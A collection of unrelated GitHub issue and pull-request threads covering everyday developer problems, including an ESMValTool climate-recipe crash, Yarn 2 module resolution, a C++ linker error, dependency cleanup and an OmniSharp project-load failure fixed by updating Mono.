Under this directory /group_workspaces/jasmin2/cp4cds1/data/c3s-cmip5/output1/BCC/bcc-csm1-1/rcp85/day/atmos/day/r1i1p1/
the variable psl doesn't exist.
This means that I cannot check if the recipe works with this data, but if the data was there, probably the recipe will work.
It works with for the setting 'mip' as 'Amon' for the same period/model/scenario
Thanks.

Hi again,
The error of selecting MAM season stills appearing. I did the fix in the ClimProjDiags package but in my conda environment the version is the old one 0.0.2, even updating the conda environment. The version 0.0.3 of ClimProjDiags has this bug fixed.
Cheers, Núria

The error of selecting MAM season stills appearing. I did the fix in the ClimProjDiags package but in my conda environment the version is the old one 0.0.2, even updating the conda environment. The version 0.0.3 of ClimProjDiags has this bug fixed.

Just create a new environment, or update the package from R.

Can you also remove the commented out datasets from the recipe?

Setting cluster_method: hierarchical results in a crash:
Loading required package: maps

Attaching package: ‘s2dverification’

The following object is masked from ‘package:base’:

    Filter

Attaching package: ‘ClimProjDiags’

The following object is masked from ‘package:s2dverification’:

    Subset

Warning message:
In dir.create(run_dir, recursive = TRUE) :
  '/var/scratch2/bandela/test/version2_development/output_dir/recipe_modes_of_variability_cluster_method_hierarchical_20190522_120436/run/weather_regime/main' already exists
 num [1:128, 1:22, 1:360]<PHONE_NUMBER>41<PHONE_NUMBER>55 103070 ...
NULL
[1] "365_day"
[1] 1
[1] "JAN"
[1] "MONTHLY"
model   var  time   lon   lat
    1     1   360   128    22
model   var  time               lon   lat
    1     1   360     1    30   128    22
[1] NA
[1] "month"
[1] FALSE
[1] 550.9594 173.9047 281.8188 270.7250 693.4516 424.7719
model   var sdate ftime   lon   lat
    1     1     1    30   128    22
List of 3
 $ composite: num [1:128, 1:22, 1:3, 1, 1] 223 228 233 235 228 ...
 $ pvalue   : num [1:128, 1:22, 1:3, 1, 1] 0.0247 0.022 0.0193 0.019 0.0225 ...
 $ cluster  : int [1:30, 1, 1] 1 2 3 1 3 2 1 1 2 1 ...
NULL
[1] "complete"
    lat     lon Cluster     Mod     exp
    128      22       3       1       1
Cluster     lat     lon
      3     128      22
[1] 16.1661
Error in PlotEquiMap(c(2.22534895833339, 2.27770703125003, 2.33412109375,  :
  Parameter 'lon' must have as many elements as the number of cells along longitudes in the input array 'var'.
Calls: PlotLayout ... lapply -> FUN -> apply -> FUN -> do.call -> PlotEquiMap
Execution halted

Hi,
I've included some checks and the method 'hclust' is working.
I've tested many configurations for the variabale psl and it works.
With the variable 'sic' I found different format for the input files, so, it's difficult to create one version. Now, it works with model BCC for which psl OImon data has rotated latitude and longitude (rlon, rlat). It doesn't work for the model IPSL with i and j coordinates.

With the variable 'sic' I found different format for the input files, so, it's difficult to create one version. Now, it works with model BCC for which psl OImon data has rotated latitude and longitude (rlon, rlat). It doesn't work for the model IPSL with i and j coordinates.

Maybe you could regrid to a e.g. a 1x1 degree grid? That is a valid regrid preprocesor target_grid key. Or would that negatively affect the results?

Hi,
I lost my changes. I am working on recovering them.

Setting cluster_method: hierarchical still results in a crash, with a different error message now:
Loading required package: maps

Attaching package: ‘s2dverification’

The following object is masked from ‘package:base’:

    Filter

Attaching package: ‘ClimProjDiags’

The following object is masked from ‘package:s2dverification’:

    Subset

Warning message:
In dir.create(run_dir, recursive = TRUE) :
  '/var/scratch2/bandela/test/version2_development/output_dir/recipe_modes_of_variability_cluster_method_hierarchical_20190524_094154/run/weather_regime/main' already exists
There were 50 or more warnings (use warnings() to see the first 50)
model   var sdate ftime   lon   lat
    1     1     3    30   128    15
[1] 128
Warning messages:
1: In par(userArgs) : "axelab" is not a graphical parameter
2: In par(userArgs) : "axelab" is not a graphical parameter
3: In par(userArgs) : "axelab" is not a graphical parameter
There were 50 or more warnings (use warnings() to see the first 50)
 num [1, 1, 1:3, 1:56, 1:128, 1:15] 383.5 92.3 190.2 337.8 54.9 ...
NULL
[1] TRUE
Error in reference[i, , ] - cosa[, , j] : non-conformable arrays
Calls: mean
Execution halted

Hi,
could you share the recipe settings that make it crashes?
ESMValTool could select level 500 hPa for gz (geopotential height) in the preprocessor?
We have been discussing to avoid the use of 'sic' by the moment due to the differences between formats.

The recipe is the same as in this branch, but with cluster_method: hierarchical

Question: why are you using the regrid preprocessor function to regrid the model to it's own grid?


Save Prophet Model using pickle

You can use pickle to save the Prophet Model after fitting
Steps -

Use pickle to store the prophet model in 01_prophet-ec2.ipynb
Load the model again in the same notebook and show it worked.

Refer to this for more information:
https://facebook.github.io/prophet/docs/additional_topics.html#saving-models

Hey, can I work on this


Refactor Service-Oriented Architecture to Microservices using gRPC

Describe the solution you'd like
Refactor the existing monolithic backend services into microservices using gRPC for inter-service communication, enabling efficient data serialization and reducing network overhead.
Steps:

Identify core services (e.g., User Management, Ride Management, Payment Service).
2, Define gRPC protocols for communication between services.
Implement gRPC clients and servers in respective services.

please assign to me

Hey @Aryam2121 ! 👋
First off, I want to extend a huge thank you to all of you for your amazing contributions to this project! Your support and hard work mean a lot, and I truly appreciate everything you do. 🙏
I have a small favor to ask: if you think I’ve been helpful and supportive throughout your contributions, I would be honored if you could nominate me by filling out this form: Nominate me.
Your nomination would mean the world to me, and it’s a great way to help me continue supporting our awesome community. Thanks again for all the amazing work, and let's keep making great things happen! 🚀
Best,
Vishesh


Module not found with Yarn 2

Hi,
I'm trying to migrate my NextJS app with Yarn 2 (version 3.1.1) and PnP, but when app compile I've got an error which says next-session is not defined.
Stacktrace suggestion is to import /lib/session, but it doesn't work either.
Is there a reason why is does not work ?
Stacktrace :
This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). The promise rejected with the reason:
Error [ERR_MODULE_NOT_FOUND]: Cannot find package 'next-session' imported from /Users/xxxxxx/.next/server/pages/_app.js
Did you mean to import next-session-npm-4.0.4-01166cd426-d602a2d75a.zip/node_modules/next-session/lib/session.cjs?
    at new NodeError (node:internal/errors:371:5)
    at packageResolve (node:internal/modules/esm/resolve:894:9)
    at moduleResolve (node:internal/modules/esm/resolve:940:18)
    at defaultResolve (node:internal/modules/esm/resolve:1043:11)
    at ESMLoader.resolve (node:internal/modules/esm/loader:530:30)
    at ESMLoader.getModuleJob (node:internal/modules/esm/loader:251:18)
    at ESMLoader.import (node:internal/modules/esm/loader:332:22)
    at importModuleDynamically (node:internal/modules/cjs/loader:1036:29)
    at importModuleDynamicallyWrapper (node:internal/vm/module:437:21)
    at importModuleDynamically (node:vm:381:46)

This seems related to https://github.com/hoangvvo/next-connect/issues/163. Can you the solution mentioned in that issue?

I will give a try to yarn canary version.

Yarn 3 has support for ESM modules.


Remove six dependency

What changes are proposed in this pull request?

remove six dependency from fiftyone.core.odm.utils and fiftyone.core.storage

we don't support python2 so we really don't need backwards compatibility

use numpy less than v2.0.0 (I get segfaults when using numpy 2.0.0)
add pydicom, shapely, and tensorflow to the tests requirements file

pip install dist/*.whl && pip install -r requirements/test.txt && pytest tests/unittests fails without these packages

How is this patch tested? If it is not, please explain why.
in an empty virtualenv:
pip install -U pip setuptools build wheel
make clean
make python
pip install dist/*.whl
pip install -r requirements/test.txt
pytest tests/unittests

Release Notes
Is this a user-facing change that should be mentioned in the release notes?

[x] No. You can skip the rest of this section.
[ ] Yes. Give a description of this change to be included in the release
notes for FiftyOne users.

(Details in 1-2 sentences. You can just refer to another PR with a description
if this PR is part of a larger change.)
What areas of FiftyOne does this PR affect?

[ ] App: FiftyOne application changes
[x] Build: Build and test infrastructure changes
[ ] Core: Core fiftyone Python library changes
[ ] Documentation: FiftyOne documentation changes
[ ] Other

Summary by CodeRabbit

Chores

Updated codebase for Python 3 compatibility by removing six library dependencies.
Added and updated necessary dependencies:

Added numpy<2 to requirements/common.txt.
Added pydicom, shapely, and tensorflow to requirements/test.txt.
Updated numpy version constraint to <2 in setup.py.

corresponding Teams PR


Setting up the 1st exercise using Visual Studio 2019 for C++, Boost, Windows 10

For the 1st exercise, I created a .cpp file which has a function hello() which prints "Hello, World!".
In order to build, I opened a powershell in the folder directory, and ran mkdir build, cd build, and cmake -G "Visual Studio 16" ...
Then I tried to run cmake --build . --target ALL_BUILD --config Debug but I get the following error: hello_world_test.obj : error LNK2019: unresolved external symbol "class std::basic_string<char,struct std::char_traits< char>,class std::allocator<char> > __cdecl hello_world::hello(void)" (?hello@hello_world@@YA?AV?$basic_string@DU?$char_ traits@D@std@@V?$allocator@D@2@@std@@XZ) referenced in function "void __cdecl ____C_A_T_C_H____T_E_S_T____0(void)" (?__ __C_A_T_C_H____T_E_S_T____0@@YAXXZ) [C:\Users\User\Exercism\cpp\hello-world\build\hello-world.vcxproj] C:\Users\User\Exercism\cpp\hello-world\build\Debug\hello-world.exe : fatal error LNK1120: 1 unresolved externals [C:\Us ers\User\Exercism\cpp\hello-world\build\hello-world.vcxproj]
I guess there is some problem either with the way I am trying to run the program or with the testing using Boost. Maybe I just wrote some wrong code, though?
I could use some help... thank you!

We're changing things here to make things easier, but you've been caught in between our updates and the doc changes unfortunately. See #267 which changes those helper docs a lot. We removed (or have almost finished removing) Boost from almost every exercise, so the docs needed an update.
The doc changes can be a bit tricky to view, so I've copied the new Windows instructions here:
Windows users can get Visual Studio Community, a free download that will give you the Visual Studio IDE and the latest version of the Microsoft Visual C++ compiler.

Follow the instructions here to setup CMake.
Download the exercise using the exercism cli tool.
Open Visual Studio 2017 or higher (With Visual C++ tools for CMake installed as described from the link above).
Open the exercise folder in VS.
Run "Build->Build the solution". The tests will execute with the build, with the output going to the build window. Since the test runs during the build, VS will say it is a build failure if one of the tests fail, and the test failure messages will be in the build output window.

Thank you! This is much easier!
By the way, if anyone else stumbles upon this issue, the error was due to an actual error in the code I wrote!

@rotsoc Let me know if you have any issues with the new way. We always want to get feedback from people new to the language and environment, since we aren't always sure where our instructions are lacking.
I'm closing this, but you can reopen if you're still having problems. Thanks!


Thank you for your attention

I think your idea is very brilliant, so I want to run it.
But when I download the datasets like 'mini-imagenet',ran the code as you did ' python train_classifier.py --config configs/train_classifier_mini.yaml' something bad occured--
' FileNotFoundError: [Errno 2] No such file or directory: './materials/mini-imagenet/miniImageNet_category_split_train_phase_train.pickle'
--Could you help me to deal with it?I will be grateful!thx

You should download dataset and put it in the appropriate folder

I have the same error...Could you help me to deal with it?I will be grateful

I think the code need a pickle file,but i can't find it in this repository. Would you provide it ?

 I think the code need a pickle file,but i can't find it in this repository. Would you provide it ?

Do you solve this problem? I also meet this issue now.


Added git branch -vv to the alias list in git plugin

git branch -vv is an invaluable tool to get information on the branches
and upstream

Closing due to lack of interest. You can also use gb -vv and people won't use it that often as to require an alias.


Update global-services.adoc

Procedure for registration, Global Broker and Global Monitoring.

I've added a comment. All good except for the metrics aspect. Scrape is the official term used in Prometheus.

@golfvert I changed "fetch/fetched" to "scrape/scraped".  Let me know if this is okay.

OK for me.


Removed isCellVisible flag

Description

Removed isCellVisible flag for publishing in RC.
PS: Currently this will create a sideeffect in filters.

Type of change

Bug fix (non-breaking change which fixes an issue)

Test coverage results :test_tube:
:white_circle: Total coverage has not changed
No changes to code coverage between the base branch and the head branch

@yatinappsmith @NandanAnantharamu the MockDatasource_spec.js keep failing here, Seems unrelated. Can you please looking into this urgently as its the fix required for the build failure on RC


Fix test-locale.cpp to report failing value

Changed test in src/libpsl-native/test/test-locale.cpp from ASSERT_TRUE to ASSERT_STREQ to provide detail of the failing test value.
Also adjusted adjacent whitspace formatting for consistency.
Output from failing test before:
1: [----------] 1 test from LocaleTest
1: [ RUN      ] LocaleTest.Success
1: /usr/src/powershell/src/libpsl-native/test/test-locale.cpp:20: Failure
1: Value of: nl_langinfo(CODESET) == std::string("UTF-8")
1:   Actual: false
1: Expected: true
1: [  FAILED  ] LocaleTest.Success (1 ms)
1: [----------] 1 test from LocaleTest (2 ms total)

Output from failing test after:
1: [----------] 1 test from LocaleTest
1: [ RUN      ] LocaleTest.Success
1: /usr/src/powershell/src/libpsl-native/test/test-locale.cpp:20: Failure
1: Value of: "UTF-8"
1: Expected: nl_langinfo(CODESET)
1: Which is: "ANSI_X3.4-1968"
1: [  FAILED  ] LocaleTest.Success (0 ms)
1: [----------] 1 test from LocaleTest (0 ms total)

Hi @bjtucker, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
The agreement was validated by Microsoft and real humans are currently evaluating your PR.
TTYL, MSBOT;


Consider replacing the examples with a simpler one

Both example apps in this repo are broken. I'd vote for removing and replacing them with a simpler example app, as they are super complex to understand and maintain. Not great for an example IMO.

Can you explain in what way they are broken? Because we did extensive testing and everything was working fine. (at least for the vue example)

Can you explain in what way they are broken? Because we did extensive testing and everything was working fine. (at least for the vue example)

Sorry, I think my cargo setup was weird when trying to run the vue example, it wouldn't even start. (Seeing @ksnyde PR I think that example works pretty well 😉)
The other one doesn't though

Wow, not sure how I missed this issue. Sorry to be so late to the party. Looking at the thread i'm not sure whether there is still an open issue here?

Thanks a lot, @staniboy. I think we need to do a more in-depth documentation

Both examples work now but i'll keep this issue open for now because i kinda agree that they are too complex.

We should close this. I have one and soon two PRs to reduce the the example apps to just the VueJS one which is the only one I'm maintaining. As for "being too complex" ... I'm not sure I follow this logic. This is precisely as complex as a million other TODO examples i've seen before.


Failed to load project file Assembly-CSharp.csproj

Environment data
dotnet --info output:
.NET Command Line Tools (1.0.4)
Product Information:
Version:            1.0.4
Commit SHA-1 hash:  af1e6684fd
Runtime Environment:
OS Name:     Mac OS X
OS Version:  10.12
OS Platform: Darwin
RID:         osx.10.12-x64
Base Path:   /usr/local/share/dotnet/sdk/1.0.4
VS Code version: July 2017 (version 1.15)
C# Extension version: 1.12.0
Unity version: 5.6.2f1 Personal
Steps to reproduce

Open a new Unity project
In Unity project create a C# script file
Click the new C# script file

Expected  behavior
intellisense helped resolve usings.
Actual behavior
intellisense not work
This is my OmniSharp Log:
Starting OmniSharp server at 8/11/2017, 11:23:26 AM
    Target: /Users/rogerchang/UnityWork/VSCodeTest/VSCodeTest.sln

OmniSharp server started wth Mono
    Path: /Users/rogerchang/.vscode/extensions/ms-vscode.csharp-1.12.0/.omnisharp/run
    PID: 1624

OmniSharp: -s /Users/rogerchang/UnityWork/VSCodeTest/VSCodeTest.sln --hostPID 1605 --stdio DotNet:enablePackageRestore=false --encoding utf-8 --loglevel information formattingOptions:useTabs=false formattingOptions:tabSize=4 formattingOptions:indentationSize=4
{"Event":"log","Body":{"LogLevel":"INFORMATION","Name":"OmniSharp.Startup","Message":"Omnisharp server running using Stdio at location '/Users/rogerchang/UnityWork/VSCodeTest' on host 1605."},"Seq":1,"Type":"event"}
[info]: OmniSharp.DotNet.DotNetProjectSystem
        Initializing in /Users/rogerchang/UnityWork/VSCodeTest
[info]: OmniSharp.DotNet.DotNetProjectSystem
        Auto package restore: False
[info]: OmniSharp.DotNet.DotNetProjectSystem
        Update workspace context
[info]: OmniSharp.DotNet.DotNetProjectSystem
        Resolving projects references
[info]: OmniSharp.MSBuild.MSBuildProjectSystem
        OmniSharp initialized with Mono MSBuild.
    MSBUILD_EXE_PATH: /Library/Frameworks/Mono.framework/Versions/4.8.1/lib/mono/msbuild/15.0/bin/MSBuild.dll
    MSBuildExtensionsPath: /Library/Frameworks/Mono.framework/Versions/4.8.1/lib/mono/xbuild
    TargetFrameworkRootPath: /Library/Frameworks/Mono.framework/Versions/4.8.1/lib/mono/xbuild-frameworks
    RoslynTargetsPath: /Users/rogerchang/.vscode/extensions/ms-vscode.csharp-1.12.0/.omnisharp/omnisharp/msbuild/Roslyn
    CscToolPath: /Users/rogerchang/.vscode/extensions/ms-vscode.csharp-1.12.0/.omnisharp/omnisharp/msbuild/Roslyn

[info]: OmniSharp.MSBuild.MSBuildProjectSystem
        Detecting projects in '/Users/rogerchang/UnityWork/VSCodeTest/VSCodeTest.sln'.
[info]: OmniSharp.MSBuild.MSBuildProjectSystem
        Loading project: /Users/rogerchang/UnityWork/VSCodeTest/Assembly-CSharp.csproj
[fail]: OmniSharp.MSBuild.ProjectFile.ProjectFileInfo
        The specified task executable location "/Users/rogerchang/.vscode/extensions/ms-vscode.csharp-1.12.0/.omnisharp/omnisharp/msbuild/Roslyn/mcs.exe" is invalid.
[warn]: OmniSharp.MSBuild.MSBuildProjectSystem
        Failed to load project file '/Users/rogerchang/UnityWork/VSCodeTest/Assembly-CSharp.csproj'.
/Users/rogerchang/UnityWork/VSCodeTest/Assembly-CSharp.csproj

[info]: OmniSharp.Script.ScriptProjectSystem
        Detecting CSX files in '/Users/rogerchang/UnityWork/VSCodeTest'.
[info]: OmniSharp.Script.ScriptProjectSystem
        Could not find any CSX files
[info]: OmniSharp.Services.WorkspaceHelper
        Invoking Workspace Options Provider: OmniSharp.Roslyn.CSharp.Services.CSharpWorkspaceOptionsProvider
[info]: OmniSharp.Startup
        Configuration finished.

Hi! Thanks for reporting this issue! Could you update to the latest stable Mono (5.0.1) and let me know if that addresses the problem. You can get the latest PKG at http://www.mono-project.com/download/.

I update the latest stable Mono (5.0.1) , everything is ok!
Thank you!